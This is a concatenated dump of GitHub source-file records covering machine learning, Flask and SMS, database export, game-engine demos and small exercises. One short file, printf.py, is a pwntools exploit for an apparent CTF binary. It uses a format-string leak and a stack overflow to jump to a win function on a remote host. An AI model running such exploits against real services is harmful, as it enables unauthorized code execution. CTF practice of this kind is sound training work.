minfo2[2]) and \n (sy >= minfo2[1] and sy <= minfo2[1] + minfo2[3]) ):\n dx,dy = minfo1[0] - minfo2[0], minfo1[1] - minfo2[1]\n actor2.rect[0] = ex - dx\n actor2.rect[1] = ey - dy\n # 3修改需要的控制键,默认使用的key是 jk\n actor2.controller.control_keys_p1 = [vgame.K_j, vgame.K_k, vgame.K_l]\n def my_control(self, c):\n if c:\n j,k,l = c.get('p1')\n if any(c.get('p1')):\n print('------control------')\n if j: print('j')\n if k: print('k')\n if l: print('l'); actor2.kill() # 测试按下l键删除自身(需要先在控制键列表里面增加键位)\n def idle():\n # 可以通过这样实现碰撞检测,collide 函数的参数可以传递无限的 actor 对象\n # 返回的结果是与 actor2 碰撞的 actor 列表,可以同时有多个碰撞\n # 碰撞检测一定要写在这里,因为这里的函数会一直执行,\n # 而如果你把检测碰撞写在操作函数中,那么碰撞检测只会在接收到操作的时候才会执行\n r = actor2.collide(actor3, actor4)\n for i in r: i.kill() \n actor2.direction = my_direction\n actor2.mouse = my_mouse\n actor2.control = my_control\n actor2.idle = idle\n # actor2.rect # 可以用 rect 参数获取当前对象的坐标和大小\n # actor2.kill() # 可以用 kill 函数来删除掉这个对象\n # actor2.collide(*a) # 可以用 collide 函数来获取与 actor2 碰撞的其他 actor 对象\n\n main.run() # 启动一切\n\n","repo_name":"cilame/vgame","sub_path":"test_script/test1基础展示.py","file_name":"test1基础展示.py","file_ext":"py","file_size_in_byte":5483,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"52188344","text":"from typing import Sequence, Union, Optional, Callable, Any, Tuple, Dict\n\nimport d4rl\nimport gymnasium\nimport gym\nimport minari\nimport numpy as np\nimport torch\nfrom minari import DataCollectorV0\nfrom torch import nn\nfrom torch.utils.data import DataLoader\n\nfrom examples.atari.atari_wrapper import WarpFrame, FrameStack\n#from examples.custom_envs.custom_grid_env_d4rl import CustomGridEnv, custom_grid_env_registration\n#from examples.offline.utils import load_buffer_minari\n\n#import minari\n#from minari import DataCollectorV0\n#from minari.data_collector.callbacks import StepDataCallback\n\n\ninput_dim = 1\n\nclass DQNVector(nn.Module):\n def __init__(\n self,\n input_dim: int,\n action_shape: Sequence[int],\n device: Union[str, int, torch.device] = \"cpu\",\n features_only: bool = False,\n output_dim: Optional[int] = None,\n layer_init: Callable[[nn.Module], nn.Module] = lambda x: x,\n ) -> None:\n super().__init__()\n\n self.device = device\n self.net = nn.Sequential(\n layer_init(nn.Linear(input_dim, 64)), # Adjust input_dim and hidden layers as needed\n nn.ReLU(inplace=True),\n layer_init(nn.Linear(64, 64)),\n nn.ReLU(inplace=True),\n )\n with torch.no_grad():\n self.output_dim = np.prod(self.net(torch.zeros(1, input_dim)).shape[1:])\n if not features_only:\n self.net = nn.Sequential(\n self.net, layer_init(nn.Linear(self.output_dim, 128)), # Adjust output_dim and hidden layers as needed\n nn.ReLU(inplace=True),\n layer_init(nn.Linear(128, np.prod(action_shape)))\n )\n self.output_dim = np.prod(action_shape)\n elif output_dim is not None:\n self.net = nn.Sequential(\n self.net, layer_init(nn.Linear(self.output_dim, output_dim)),\n nn.ReLU(inplace=True)\n )\n self.output_dim = output_dim\n\n def forward(\n self,\n obs: Union[np.ndarray, torch.Tensor],\n state: Optional[Any] = None,\n info: Dict[str, Any] = {},\n ) -> Tuple[torch.Tensor, Any]:\n r\"\"\"Mapping: s -> Q(s, \\*).\"\"\"\n obs = torch.as_tensor(obs, device=self.device, dtype=torch.float32)\n return self.net(obs)\n\n\ndqn = DQNVector(input_dim=1, action_shape=1, features_only=False, output_dim=1)\n\ndata = torch.FloatTensor([[1],[2],[3]])\nnew_data = dqn(data).flatten(1)\nprint(new_data)\n\n\n#from tianshou.env import SubprocVectorEnv\n#from examples.custom_envs.custom_grid_env_d4rl import CustomGridEnv, custom_grid_policy\nfrom examples.custom_envs.custom_grid_env_minari import CustomGridEnvGymnasium\n#env = gymnasium.make(\"ivan_1d_grid-gymnasium-v0\") #gym.make(\"PointMaze_UMaze-v3\")\n\n#env = gym.make(\"CartPole-v1\")\n#test_envs = SubprocVectorEnv([env])\n\n#env = CustomGridEnv(grid_size=10, initial_state=2, target_state=7)\n\n#test_num = 1\n#test_envs = SubprocVectorEnv(\n# [lambda: env for _ in range(test_num)]\n# )\n\n#print(test_envs)\n\n\n#NAME_ENV = \"AdroitHandPen-v1\"\n#NAME_EXPERT_DATA=\"pen-expert-v1\"\n#D4RL = False\n\n'''\ndef collate_fn(batch):\n print(type(batch[0]))\n return {\n \"id\": torch.Tensor([x.id for x in batch]),\n \"seed\": torch.Tensor([x.seed for x in batch]),\n \"total_timesteps\": torch.Tensor([x.total_timesteps for x in batch]),\n \"observations\": torch.nn.utils.rnn.pad_sequence(\n [torch.as_tensor(x.observations[\"image\"]) for x in batch],\n batch_first=True\n ),\n \"actions\": torch.nn.utils.rnn.pad_sequence(\n [torch.as_tensor(x.actions) for x in batch],\n batch_first=True\n ),\n \"rewards\": torch.nn.utils.rnn.pad_sequence(\n [torch.as_tensor(x.rewards) for x in batch],\n batch_first=True\n ),\n \"terminations\": torch.nn.utils.rnn.pad_sequence(\n [torch.as_tensor(x.terminations) for x in batch],\n batch_first=True\n ),\n \"truncations\": torch.nn.utils.rnn.pad_sequence(\n [torch.as_tensor(x.truncations) for x in batch],\n batch_first=True\n ),\n \"timesteps\": torch.nn.utils.rnn.pad_sequence(\n [torch.as_tensor(x.infos[\"timestep\"]) for x in batch],\n batch_first=True\n )\n }\n\nNAME_EXPERT_DATA = \"ivan_1d_grid-gymnasium-data-v0\"\n#NAME_EXPERT_DATA=\"pen-expert-v1\"\ndata = minari.load_dataset(NAME_EXPERT_DATA)\n\nfor elem in data:\n print(elem.actions)\n\n#dataloader = DataLoader(data, batch_size=20, collate_fn=collate_fn)\n\n\n#for action in data[0].actions:\n#replay_buffer = load_buffer_minari(NAME_EXPERT_DATA)\n#print(replay_buffer.last_index)\n\n\n#for elem in replay_buffer:\n# print(elem.act)\n\n'''\n\n\n'''\nimport h5py\nimport numpy as np\n\ndef convert_to_hdf5_compatible(data):\n for k, v in data.items():\n if isinstance(v, list):\n # Check if the list contains integer values\n if all(isinstance(item, int) for item in v):\n data[k] = np.array(v, dtype=np.int32)\n else:\n # If not, convert it to an empty NumPy array with dtype=int32\n data[k] = np.array([], dtype=np.int32)\n\n# Example usage:\ndata = {\n 'terminals': [True, False, True],\n 'infos/move_sequence': [[], [1, 2, 3], [], [4, 5, 6]],\n 'other_data': [1.0, 2.0, 3.0]\n}\n\n# Convert 'infos/move_sequence' to HDF5-compatible format\nconvert_to_hdf5_compatible(data)\n\n# Save the data to an HDF5 file\nwith h5py.File('your_file.h5', 'w') as hdf5_file:\n for key, value in data.items():\n hdf5_file.create_dataset(key, data=value)\n\n\n#def create_custom_env(initial_state, target_state, grid_size):\n# return CustomGridEnv(initial_state, target_state, grid_size)\n\n#custom_grid_env_registration()\n'''\n\n#env = gym.make(\"ivan_1d_grid-v0\")\n#env.get_dataset()\n##print(env.max_episode_steps)\n#d4rl.qlearning_dataset(gym.make(\"ivan_1d_grid-v0\"))\n\n#import gymnasium as gym\n\n\n'''\nframe_stack = 3\n\nenv = gym.make(\"PongNoFrameskip\", render_mode=\"human\")\nenv = WarpFrame(env)\nenv = FrameStack(env, frame_stack)\nobservation, info = env.reset(seed=42)\nprint(observation.shape)\nfor _ in range(100000):\n action = env.action_space.sample() # this is where you would insert your policy\n observation, reward, terminated, truncated, info = env.step(action)\n\n #print(\"action: \", action, reward)\n\n print(observation)\n\n if reward!=0:\n print(\"#### \", observation, reward, terminated, truncated, info)\n #break\n\n #if terminated or truncated:\n # observation, info = env.reset()\n\n'''\n\n\n'''\nimport gymnasium as gym\nimport numpy as np\nfrom gymnasium import spaces\n\nimport minari\nfrom minari import DataCollectorV0\nfrom minari.data_collector.callbacks import StepDataCallback\n\nenv = gym.make(\"PointMaze_UMaze-v3\")\n\nprint(f\"Observation space: {env.observation_space}\")\n\nobservation_space_subset = spaces.Dict(\n {\n # \"achieved_goal\": spaces.Box(low=float('-inf'), high=float('inf'), shape=(2,), dtype=np.float64),\n \"desired_goal\": spaces.Box(\n low=float(\"-inf\"), high=float(\"inf\"), shape=(2,), dtype=np.float64\n ),\n \"observation\": spaces.Box(\n low=float(\"-inf\"), high=float(\"inf\"), shape=(4,), dtype=np.float64\n ),\n }\n)\n\nclass CustomSubsetStepDataCallback(StepDataCallback):\n def __call__(self, env, **kwargs):\n step_data = super().__call__(env, **kwargs)\n del step_data[\"observations\"][\"achieved_goal\"]\n return step_data\n\n\ndataset_id = \"point-maze-subseted-v3\"\n\n# delete the test dataset if it already exists\nlocal_datasets = minari.list_local_datasets()\nif dataset_id in local_datasets:\n minari.delete_dataset(dataset_id)\n\nenv = DataCollectorV0(\n env,\n observation_space=observation_space_subset,\n # action_space=action_space_subset,\n step_data_callback=CustomSubsetStepDataCallback,\n)\nnum_episodes = 10\n\nenv.reset(seed=42)\nprint(env.observation_space)\n\nfor episode in range(num_episodes):\n terminated = False\n truncated = False\n while not terminated and not truncated:\n action = env.action_space.sample() # Choose random actions\n observation, _, terminated, truncated, _ = env.step(action)\n\n #print(observation)\n env.reset()\n\n# Create Minari dataset and store locally\ndataset = minari.create_dataset_from_collector_env(\n dataset_id=dataset_id,\n collector_env=env,\n algorithm_name=\"random_policy\",\n)\n\nprint(dataset.sample_episodes(1)[0].observations[\"desired_goal\"].shape)\n\nenv.reset(seed=42)\n\ndataset_loaded = load_buffer_minari(dataset_id)\n\nprint(dataset_loaded)\n'''","repo_name":"ivandrodri/ivan_excercises","sub_path":"examples/offline/ivan_prueba.py","file_name":"ivan_prueba.py","file_ext":"py","file_size_in_byte":8588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"20011044242","text":"import sys\nimport subprocess\n\nlang = sys.argv[1]\nscript = sys.argv[2]\n\nif lang != \"py\":\n print(\"only accepting py code\")\nelse:\n try:\n subprocess.run([\"python\", \"-c\", script], check=True)\n print(\"finish\")\n except subprocess.CalledProcessError as e:\n print(e)\n print(\"error\")\n","repo_name":"Moohaa/Icode_API","sub_path":"dockerFiles/py/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"41812455814","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nFile : bert_classification.py\nAuthor: zhanghao(changhaw@126.com)\nDate : 21/07/01 14:25:51\nDesc : \n\"\"\"\n\nimport torch\n\nfrom nlp_toolbox.models.base_model import ClassificationModel, model_distributed\nfrom nlp_toolbox.modules.bert import BertForClassification\nfrom nlp_toolbox.utils.register import RegisterSet\n\n\n@RegisterSet.models.register\nclass BertClassification(ClassificationModel):\n @model_distributed(find_unused_parameters=True, distributed=RegisterSet.IS_DISTRIBUTED)\n def init_model(self, pretrained_model_dir, **kwargs):\n model = BertForClassification.from_pretrained(\n pretrained_model_dir,\n **kwargs\n )\n return model\n\n def init_optimizer(self, model, learning_rate, **kwargs):\n if isinstance(learning_rate, list):\n assert len(learning_rate) == 2, \"learning_rate require at most 2 parts, actual {} parts\".format(len(learning_rate))\n return torch.optim.Adam([\n {'params': self.get_model().bert.parameters(), 'lr': learning_rate[0]},\n {'params': self.get_model().final_fc.parameters(), 'lr':learning_rate[1]},\n ])\n else:\n return torch.optim.Adam(model.parameters(), lr=learning_rate)\n","repo_name":"HawChang/nlp_toobox","sub_path":"nlp_toolbox/models/bert_classification.py","file_name":"bert_classification.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"18292793292","text":"from flask import Flask, request, redirect\r\nfrom tinydb import TinyDB, Query\r\nfrom twilio.twiml.messaging_response import Body, Message, Redirect, MessagingResponse\r\n\r\nimport app\r\nimport config\r\n\r\nwsgi = Flask(__name__)\r\n\r\n\r\n@wsgi.route(\"/dweb/\", methods=['GET', 'POST'])\r\ndef hello_monkey():\r\n phone_from = request.values.get('From', None)\r\n if app.is_member(phone_from):\r\n body = request.values.get('Body', None)\r\n message = Message()\r\n message.body(app.main(phone_from, body))\r\n else:\r\n return None\r\n\r\n resp = MessagingResponse()\r\n resp.append(message)\r\n\r\n return str(resp)\r\n\r\n\r\ndef init_db():\r\n db = TinyDB(config.db_file)\r\n if len(db.tables()) > 1:\r\n return True\r\n member_table = db.table('Member')\r\n member_table.insert_multiple(config.member_list)\r\n admin_table = db.table('Admin')\r\n admin_table.insert_multiple(config.admin_members)\r\n\r\nif __name__ == \"__main__\":\r\n # Load and check DB\r\n init_db()\r\n wsgi.run(debug=True, port=6543)\r\n","repo_name":"joshuamsmith/rsvp-sms","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"70519569894","text":"\"\"\"Commonly used tensor functions.\"\"\"\nimport math\nfrom typing import Optional\nfrom typing import Union\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom .factory import AbstractTensor\n\n\ndef binarize(tensor: tf.Tensor, bitsize: Optional[int] = None,) -> tf.Tensor:\n \"\"\"Extract bits of values in `tensor`, returning a `tf.Tensor` with same\n dtype.\"\"\"\n\n with tf.name_scope(\"binarize\"):\n bitsize = bitsize or (tensor.dtype.size * 8)\n\n bit_indices_shape = [1] * len(tensor.shape) + [bitsize]\n bit_indices = tf.range(bitsize, dtype=tensor.dtype)\n bit_indices = tf.reshape(bit_indices, bit_indices_shape)\n\n val = tf.expand_dims(tensor, -1)\n val = tf.bitwise.bitwise_and(tf.bitwise.right_shift(val, bit_indices), 1)\n\n assert val.dtype == tensor.dtype\n return val\n\n\ndef bits(tensor: tf.Tensor, bitsize: Optional[int] = None,) -> list:\n \"\"\"Extract bits of values in `tensor`, returning a list of tensors.\"\"\"\n\n with tf.name_scope(\"bits\"):\n bitsize = bitsize or (tensor.dtype.size * 8)\n the_bits = [\n tf.bitwise.bitwise_and(tf.bitwise.right_shift(tensor, i), 1)\n for i in range(bitsize)\n ]\n return the_bits\n # return tf.stack(bits, axis=-1)\n\n\ndef im2col(\n x: Union[tf.Tensor, np.ndarray],\n h_filter: int,\n w_filter: int,\n padding: str,\n stride: int,\n) -> tf.Tensor:\n \"\"\"Generic implementation of im2col on tf.Tensors.\"\"\"\n\n with tf.name_scope(\"im2col\"):\n\n # we need NHWC because tf.extract_image_patches expects this\n nhwc_tensor = tf.transpose(x, [0, 2, 3, 1])\n channels = int(nhwc_tensor.shape[3])\n\n # extract patches\n patch_tensor = tf.extract_image_patches(\n nhwc_tensor,\n ksizes=[1, h_filter, w_filter, 1],\n strides=[1, stride, stride, 1],\n rates=[1, 1, 1, 1],\n padding=padding,\n )\n\n # change back to NCHW\n patch_tensor_nchw = tf.reshape(\n tf.transpose(patch_tensor, [3, 1, 2, 0]), (h_filter, w_filter, channels, -1)\n )\n\n # reshape to x_col\n x_col_tensor = tf.reshape(\n tf.transpose(patch_tensor_nchw, [2, 0, 1, 3]),\n (channels * h_filter * w_filter, -1),\n )\n\n return x_col_tensor\n\n\ndef conv2d(x: AbstractTensor, y: AbstractTensor, stride, padding,) -> AbstractTensor:\n \"\"\"Generic convolution implementation with im2col over AbstractTensors.\"\"\"\n\n with tf.name_scope(\"conv2d\"):\n\n h_filter, w_filter, in_filters, out_filters = map(int, y.shape)\n n_x, c_x, h_x, w_x = map(int, x.shape)\n\n if c_x != in_filters:\n # in depthwise conv the filter's in and out dimensions are reversed\n out_filters = in_filters\n\n if padding == \"SAME\":\n h_out = int(math.ceil(float(h_x) / float(stride)))\n w_out = int(math.ceil(float(w_x) / float(stride)))\n elif padding == \"VALID\":\n h_out = int(math.ceil(float(h_x - h_filter + 1) / float(stride)))\n w_out = int(math.ceil(float(w_x - w_filter + 1) / float(stride)))\n else:\n raise ValueError(\"Don't know padding method '{}'\".format(padding))\n\n x_col = x.im2col(h_filter, w_filter, padding, stride)\n w_col = y.transpose([3, 2, 0, 1]).reshape([int(out_filters), -1])\n out = w_col.matmul(x_col)\n\n out = out.reshape([out_filters, h_out, w_out, n_x])\n out = out.transpose([3, 0, 1, 2])\n\n return out\n","repo_name":"Qi-Pang/MPCDiff","sub_path":"TFEncrypted/tf_encrypted/tensor/shared.py","file_name":"shared.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"9"} +{"seq_id":"28725958371","text":"import os\nimport evaluate\nimport numpy as np\nfrom datasets import Dataset\nfrom torch.utils.data import random_split\nfrom transformers import logging, AutoTokenizer, AutoModelForTokenClassification\nfrom transformers import DataCollatorForTokenClassification, TrainingArguments, Trainer\n\n\n# keep terminal clear of warnings/low-level messages\nlogging.set_verbosity_error()\nos.environ[\"TOKENIZERS_PARALLELISM\"] = \"false\"\n\n\n# convert labels to integer id and vice versa\nlabel2id = {\n \"B-quantity\": 0,\n \"I-quantity\": 1,\n \"B-size\": 2,\n \"I-size\": 3,\n \"B-unit\": 4,\n \"I-unit\": 5,\n \"B-name\": 6,\n \"I-name\": 7,\n \"B-state\": 8,\n \"I-state\": 9,\n \"B-temp\": 10,\n \"I-temp\": 11,\n \"B-df\": 12,\n \"I-df\": 13,\n \"O\": 14\n}\nid2label = {\n 0: \"B-quantity\",\n 1: \"I-quantity\",\n 2: \"B-size\",\n 3: \"I-size\",\n 4: \"B-unit\",\n 5: \"I-unit\",\n 6: \"B-name\",\n 7: \"I-name\",\n 8: \"B-state\",\n 9: \"I-state\",\n 10: \"B-temp\",\n 11: \"I-temp\",\n 12: \"B-df\",\n 13: \"I-df\",\n 14: \"O\"\n}\n\nmodel_name = \"distilbert-base-uncased\"\ntokenizer = AutoTokenizer.from_pretrained(model_name)\nmodel = AutoModelForTokenClassification.from_pretrained(\n model_name, num_labels=len(id2label), id2label=id2label, label2id=label2id\n)\n\n\n# convert token to readable and consistent formatting\ndef format_token(token):\n token = token.replace(\"½\", \"0.5\")\n token = token.replace(\"⅓\", \"0.33\")\n token = token.replace(\"⅔\", \"0.67\")\n token = token.replace(\"¼\", \"0.25\")\n token = token.replace(\"¾\", \"0.75\")\n token = token.replace(\"⅕\", \"0.4\")\n token = token.replace(\"⅖\", \"0.4\")\n token = token.replace(\"⅗\", \"0.6\")\n token = token.replace(\"⅘\", \"0.8\")\n token = token.replace(\"⅞\", \"0.875\")\n token = token.replace(\"-LRB-\", \"(\")\n token = token.replace(\"-RRB-\", \")\")\n return token\n\n\n# load and preprocess tsv data from a given file path\ndef preprocess_data(data_path):\n data = {\"tokens\": [], \"labels\": []}\n with open(data_path, \"r\") as f:\n lines = f.readlines()\n phrase = []\n labels = []\n last_label = \"\"\n\n # add a completed ingredient phrase to the dataset\n def append_phrase():\n nonlocal data, phrase, labels\n if labels and phrase:\n data[\"tokens\"].append(phrase)\n data[\"labels\"].append(labels)\n phrase = []\n labels = []\n\n # correctly label and add a token to the ingredient phrase\n def append_token(token, label):\n nonlocal phrase, labels, last_label\n tmp = label\n if label != \"O\":\n label = label.lower()\n if label == last_label:\n label = \"I-\" + label\n else:\n label = \"B-\" + label\n phrase.append(token)\n labels.append(label2id[label])\n if label != \"O\":\n tmp = tmp.lower()\n last_label = tmp\n\n for line in lines:\n line = line.strip().strip(\"\\n\")\n if not line:\n append_phrase()\n else:\n token, label = line.split(\"\\t\")\n token = format_token(token)\n token = token.lower()\n if len(token.split()) > 1:\n tokens = token.split()\n for i in range(len(tokens)):\n append_token(tokens[i], label)\n else:\n append_token(token, label)\n append_phrase()\n return Dataset.from_dict(data)\n\n\n# tokenize the labels of a given dataset\ndef tokenize_labels(data):\n # tokenize the labels of a single example within the dataset\n def tokenize_label(example):\n tokenized = tokenizer(\n example[\"tokens\"], padding=True, truncation=True, is_split_into_words=True)\n labels = []\n for i, label in enumerate(example[\"labels\"]):\n word_ids = tokenized.word_ids(batch_index=i)\n label_ids = []\n for word_idx in word_ids:\n if word_idx is None:\n # special tokens created by is_split_into_words labeled -100 (to be ignored)\n # https://huggingface.co/docs/transformers/tasks/token_classification#preprocess\n label_ids.append(-100)\n else:\n label_ids.append(label[word_idx])\n labels.append(label_ids)\n\n tokenized[\"labels\"] = labels\n return tokenized\n\n return data.map(tokenize_label, batched=True)\n\n\n# split a given dataset into a training set and a testing set\ndef split_data(data, train_size=0.9):\n train_size = int(train_size * len(data))\n test_size = len(data) - train_size\n return random_split(data, [train_size, test_size])\n\n\n\n# fine-tune a pre-trained model using tsv data from a given file path\ndef train(data_path, save_path=\"model\"):\n data = preprocess_data(data_path)\n tokenized_data = tokenize_labels(data)\n train_data, test_data = split_data(tokenized_data)\n\n data_collator = DataCollatorForTokenClassification(tokenizer=tokenizer)\n seqeval = evaluate.load(\"seqeval\")\n label_list = list(label2id.keys())\n\n # compute the precision, recall, f1 score, and accuracy of a given prediction\n def compute_metrics(p):\n predictions, labels = p\n predictions = np.argmax(predictions, axis=2)\n\n true_predictions = [\n [label_list[p] for (p, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(predictions, labels)\n ]\n true_labels = [\n [label_list[l] for (p, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(predictions, labels)\n ]\n\n results = seqeval.compute(\n predictions=true_predictions, references=true_labels)\n return {\n \"precision\": results[\"overall_precision\"],\n \"recall\": results[\"overall_recall\"],\n \"f1\": results[\"overall_f1\"],\n \"accuracy\": results[\"overall_accuracy\"],\n }\n\n training_args = TrainingArguments(\n output_dir=save_path,\n learning_rate=2e-5,\n per_device_train_batch_size=16,\n per_device_eval_batch_size=16,\n num_train_epochs=4,\n weight_decay=0.01,\n evaluation_strategy=\"epoch\",\n save_strategy=\"epoch\",\n load_best_model_at_end=True,\n resume_from_checkpoint=True,\n push_to_hub=False,\n )\n trainer = Trainer(\n model=model,\n args=training_args,\n train_dataset=train_data,\n eval_dataset=test_data,\n tokenizer=tokenizer,\n data_collator=data_collator,\n compute_metrics=compute_metrics,\n )\n trainer.train()\n trainer.save_model()\n\n\ntrain(\"./data/train_full.tsv\", \"model\")","repo_name":"kennybc/ingredient-parser","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"6812605050","text":"from pwn import *\nimport os, sys\n#io = process('./printf_is_echo')\nio = remote('', )\n\ncontext(arch = \"amd64\")\n\nio.recvuntil(\"try it!\\n\")\n\nprintf = \"%16$p\"\n\nio.sendline(printf)\n\nwin = int(io.recvline(), 16)\nlog.info(win)\n\npadding = b'A'*104\nio.recvuntil('unhackable')\npayload = padding + p64(win)\n\nio.sendline(payload)\nio.interactive()\n","repo_name":"nc-lnvp/2020faExploit_scripts","sub_path":"printf.py","file_name":"printf.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"72420691172","text":"# coding: utf-8\n\nimport os\nimport sys\n\nabsPath = os.path.dirname(os.path.abspath(__file__))\nfileDir = absPath[:absPath.find('backend')]\nsys.path.append(os.path.join(fileDir, 'backend/extract/src'))\nsys.path.append(os.path.join(fileDir, 'backend'))\n\nimport pandas as pd\nimport pyodbc\nimport json\nfrom datetime import datetime\nfrom db.ConexaoBanco import DB\nfrom dao.src.ConnectMongo import ConnectMongo\nfrom tools.leArquivos import readSql\n# from functions.usefulFunctions import parseTypeFiedValueCorrect\n\nwayToSaveFiles = open(os.path.join(fileDir, 'backend/extract/src/WayToSaveFiles.json') )\nwayDefault = json.load(wayToSaveFiles)\nwayDefaultToSave = wayDefault['wayDefaultToSaveFiles']\nwayDefaultToSave = os.path.join(wayDefaultToSave, 'fo_all')\nwayToSaveFiles.close()\nif os.path.exists(wayDefaultToSave) is False:\n os.makedirs(wayDefaultToSave)\n\nclass extractExportFoAll():\n def __init__(self):\n self._DB = DB()\n self._connection = self._DB.getConnection()\n self._cursor = None\n self._columns = []\n \n def getTables(self):\n try:\n self._cursor = self._connection.cursor()\n sql = readSql(os.path.dirname(os.path.abspath(__file__)), 'tables_db.sql')\n self._cursor.execute(sql)\n\n df = pd.read_sql_query(sql, self._connection)\n\n data = json.loads(df.to_json(orient='records', date_format='iso'))\n\n return data\n\n except Exception as e:\n print(f\"Erro ao executar a consulta. O erro é: {e}\")\n finally:\n if self._cursor is not None:\n self._cursor.close()\n\n def exportData(self):\n cursor = None\n try:\n tables = self.getTables()\n\n print('- Exportando dados das tabelas:')\n for table in tables:\n table_name = table['table_name']\n print(f'\\t- Tabela {table_name}')\n if(table['exist_codi_emp'] is not None):\n sql = f\"SELECT * FROM bethadba.{table_name} WHERE codi_emp IN (1693,1695,1696,1848,1849)\"\n else:\n sql = f\"SELECT * FROM bethadba.{table_name}\"\n \n cursor = self._connection.cursor() \n cursor.execute(sql)\n\n df = pd.read_sql_query(sql, self._connection)\n \n df.to_csv(os.path.join(wayDefaultToSave, f\"{table_name}.csv\"), index=False, date_format='iso', sep=';', decimal='.', escapechar=None, quotechar='\"')\n\n except Exception as e:\n print(f\"Erro ao executar a consulta. O erro é: {e}\")\n finally:\n if cursor is not None:\n cursor.close()\n self._DB.closeConnection()\n\n\nif __name__ == \"__main__\":\n export = extractExportFoAll()\n export.exportData()\n\n","repo_name":"ElderVivot/baymax","sub_path":"backend/extract/src/folha/export_fo_all.py","file_name":"export_fo_all.py","file_ext":"py","file_size_in_byte":2831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"40379022188","text":"class parallelogram:\n import time\n def __init__(self):\n self.ask=input(\"请问你是要计算面积还是周长,还是全都要:\")\n if self.ask == '面积' or self.ask == '计算面积' or self.ask=='1':\n self.length_h=float(input(\"请输入图形的高:\"))\n self.length_a=float(input(\"请输入图形的底:\"))\n if big_ask==\"三角形\":\n self.length_d=float(input('请输入C的长度:'))\n if self.ask == '周长' or self.ask=='计算周长' or self.ask=='2':\n self.length_c=float(input('请输入a的边长:'))\n self.length_b=float(input('请输入b的边长:'))\n if big_ask==\"三角形\":\n self.length_d=float(input('请输入C的长度:'))\n if self.ask=='我全都要' or self.ask==\"3\":\n self.length_h=float(input(\"请输入图形的高:\"))\n self.length_a=float(input(\"请输入图形的底:\"))\n self.length_c=float(input('请输入a的边长:'))\n self.length_b=float(input('请输入b的边长:'))\n if big_ask==\"三角形\":\n self.length_d=float(input('请输入C的长度:'))\n def area_get(self):\n print(\"他的面积为:\",self.length_a*self.length_h)\n self.time.sleep(10)\n def circumference(self):\n print(\"他的周长为:\",2*(self.length_c+self.length_b))\n self.time.sleep(10)\nclass delta(parallelogram):\n def area_get(self):\n print('他的面积为:',self.length_a*self.length_h/2)\n self.time.sleep(10)\n def circumference(self):\n print('他的周长为:',self.length_c+self.length_b+self.length_d)\n self.time.sleep(10)\nbig_ask=input('请输入你要计算的图形:')\nif big_ask=='平行四边形':\n test=parallelogram()\n if test.ask == '面积' or test.ask == '计算面积' or test.ask=='1':\n test.area_get()\n if test.ask == '周长' or test.ask=='计算周长' or test.ask=='2':\n test.circumference()\n if test.ask=='我全都要' or test.ask==\"3\":\n test.area_get()\n test.circumference()\nif big_ask=='三角形':\n test2=delta()\n if test2.ask == '面积' or test2.ask == '计算面积' or test2.ask=='1':\n test2.area_get()\n if test2.ask == '周长' or test2.ask=='计算周长' or test2.ask=='2':\n test2.circumference()\n if test2.ask=='我全都要' or test2.ask==\"3\":\n test2.area_get()\n test2.circumference()\n\n\n\n\n","repo_name":"lupei520/MyPythonProject","sub_path":"三角形.py","file_name":"三角形.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"17889599846","text":"\"\"\"给定一个由 整数 组成的 非空 数组所表示的非负整数,在该数的基础上加一。\n\n最高位数字存放在数组的首位, 数组中每个元素只存储单个数字。\n\n你可以假设除了整数 0 之外,这个整数不会以零开头。\n\n\n示例1:\n\n输入:digits = [1,2,3]\n输出:[1,2,4]\n解释:输入数组表示数字 123。\n\n作者:力扣 (LeetCode)\n链接:https://leetcode-cn.com/leetbook/read/top-interview-questions-easy/x2cv1c/\n来源:力扣(LeetCode)\n著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\"\"\"\nfrom typing import List\n\n\ndef plus_one(digits):\n carry = 1\n i = len(digits) - 1\n while carry == 1:\n if digits[i] == 9:\n digits[i] = 0\n carry = 1\n else:\n digits[i] += 1\n carry = 0\n\n i -= 1\n\n if i < 0 and carry == 1:\n return [1] + digits\n return digits\n\n\nclass Solution:\n def plusOne(self, digits: List[int]) -> List[int]:\n return plus_one(digits)\n","repo_name":"annnnnnnnnnie/leetcode_practices","sub_path":"Beginner/x2cv1c/x2cv1c.py","file_name":"x2cv1c.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"73042023328","text":"# SPDX short identifier: BSD-3-Clause\nimport argparse\nfrom binascii import hexlify\nfrom cryptography.hazmat.primitives.ciphers import algorithms\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import cmac\n\ndef aes128_cmac(msg, key, length=4):\n c = cmac.CMAC(algorithms.AES(key), backend=default_backend())\n c.update(msg)\n mac = c.finalize()\n return mac[:length]\n\ndef args_to_bytes(arg, length):\n if \"0x\" in arg:\n val = int(arg, 16).to_bytes(length, \"big\")\n elif len(arg) == 2*length:\n val = 